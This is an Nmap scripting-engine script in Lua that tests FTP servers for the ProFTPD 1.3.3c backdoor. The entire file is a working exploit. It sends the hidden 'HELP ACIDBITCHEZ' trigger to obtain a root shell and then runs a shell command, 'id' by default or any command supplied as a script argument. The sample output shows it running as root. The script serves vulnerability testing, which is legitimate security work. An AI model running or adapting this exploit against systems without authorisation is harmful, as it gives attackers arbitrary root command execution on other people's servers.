local ftp = require "ftp" local nmap = require "nmap" local shortport = require "shortport" local stdnse = require "stdnse" -- -*- mode: lua -*- -- vim: set filetype=lua : description = [[ Tests for the presence of the ProFTPD 1.3.3c backdoor reported as OSVDB-ID 69562. This script attempts to exploit the backdoor using the innocuous id command by default, but that can be changed with the ftp-proftpd-backdoor.cmd script argument. ]] --- -- @usage -- nmap --script ftp-proftpd-backdoor -p 21 -- -- @args ftp-proftpd-backdoor.cmd Command to execute in shell (default is -- id). -- -- @output -- PORT STATE SERVICE -- 21/tcp open ftp -- | ftp-proftpd-backdoor: -- | This installation has been backdoored. -- | Command: id -- | Results: uid=0(root) gid=0(wheel) groups=0(wheel) -- |_ author = "Mak Kolybabi" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"exploit", "intrusive", "malware", "vuln"} local CMD_FTP = "HELP ACIDBITCHEZ" local CMD_SHELL = "id" portrule = function (host, port) -- Check if version detection knows what FTP server this is. if port.version.product ~= nil and port.version.product ~= "ProFTPD" then return false end -- Check if version detection knows what version of FTP server this is. if port.version.version ~= nil and port.version.version ~= "1.3.3c" then return false end return shortport.port_or_service(21, "ftp")(host, port) end action = function(host, port) local cmd, err, line, req, resp, results, sock, status -- Get script arguments. cmd = stdnse.get_script_args("ftp-proftpd-backdoor.cmd") if not cmd then cmd = CMD_SHELL end -- Create socket. sock = nmap.new_socket("tcp") sock:set_timeout(5000) status, err = sock:connect(host, port, "tcp") if not status then stdnse.print_debug(1, "Can't connect: %s", err) sock:close() return end -- Read banner. local buffer = stdnse.make_buffer(sock, "\r?\n") local code, message = ftp.read_reply(buffer) if not code then stdnse.print_debug(1, "Can't read banner: %s", message) sock:close() return end -- Check version. if not message:match("ProFTPD 1.3.3c") then stdnse.print_debug(1, "This version is not known to be backdoored.") return end -- Send command to escalate privilege. status, err = sock:send(CMD_FTP .. "\r\n") if not status then stdnse.print_debug(1, "Failed to send privilege escalation command: %s", err) sock:close() return end -- Check if escalation worked. code, message = ftp.read_reply(buffer) if code and code == 502 then stdnse.print_debug(1, "Privilege escalation failed: %s", message) sock:close() return end -- Send command(s) to shell. status, err = sock:send(cmd .. ";\r\n") if not status then stdnse.print_debug(1, "Failed to send shell command(s): %s", err) sock:close() return end -- Check for an error from command. status, resp = sock:receive() if not status then stdnse.print_debug(1, "Can't read command response: %s", resp) sock:close() return end -- Summarize the results. results = { "This installation has been backdoored.", "Command: " .. CMD_SHELL, "Results: " .. resp } return stdnse.format_output(true, results) end